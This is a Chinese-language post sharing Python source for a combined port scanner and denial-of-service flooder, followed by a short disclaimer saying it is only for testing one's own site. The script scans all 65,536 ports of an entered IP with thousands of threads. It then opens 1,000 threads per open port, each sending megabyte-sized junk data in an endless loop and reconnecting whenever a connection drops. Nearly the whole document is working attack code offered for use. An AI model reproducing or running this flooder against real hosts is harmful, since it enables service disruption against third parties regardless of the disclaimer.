源码
import socket
import threading
import time
import os
import sys
vlprt = []
scndcnt = 0
attthrdcnt = 0
a4tl = 0
ip = input("请输入ip-> ")
nedatt = input("是否需要dos攻击(输入y来攻击 输入其他无效)-> ") == "y"
lopatt=input("是否需要循环压测:一个进程炸了重新链接继续压(输入y来确认 输入其他无效)") =="y"
thrdcnt = 2 ** 14 #扫描时使用几个进程
thrdprprt=1000 #攻击时每个端口几个进程
def scan(ip, start, stop):
global scndcnt
s = socket.socket()
for p in range(start, stop):
scndcnt += 1
print(f"{vlprt} {scndcnt}/65536")
try:
s.connect((ip, p))
vlprt.append(p)
s.close()
print(f"{vlprt} {scndcnt}/65536")
vlprt.sort()
except:
continue
def attack(ip, prt, size):
global attthrdcnt,a4tl
s = socket.socket()
try:
s.connect((ip, prt))
except:
attthrdcnt -= 1
return
while True:
try:
s.send(("a"*size).encode("utf-8"))
a4tl+=size
except:
s = socket.socket()
s.connect((ip, prt))
continue
print("开始扫描")
for i in range(thrdcnt):
threading.Thread(
target = lambda: scan(ip, int(65536 / thrdcnt * i + 1), int(65536 / thrdcnt * (i + 1) + 1))).start()
while(scndcnt!=65536):
time.sleep(0.1)
print(f"端口扫描完成:{vlprt}")
os.system("pause")
if(not nedatt): sys.exit(0)
for i in range(3,-1,-1):
print(f"3秒后开始攻击: {i}")
time.sleep(1)
for p in vlprt:
for i in range(thrdprprt):
attthrdcnt+=1
threading.Thread(
target = lambda :attack(ip,p,1024*1024)).start()
while(attthrdcnt):
print(f"有{attthrdcnt}个进程正在压测 压测了{a4tl/1024/1024}MB")
os.system("pause")
sys.exit(0)
使用注意及声明
此工具仅限测试自己的网站,请勿用于违法用途!
如果使用时报错了,请先行询问AI谢谢。
感谢Sheep提供的源码,不得二次售卖!
转载请保留原文链接~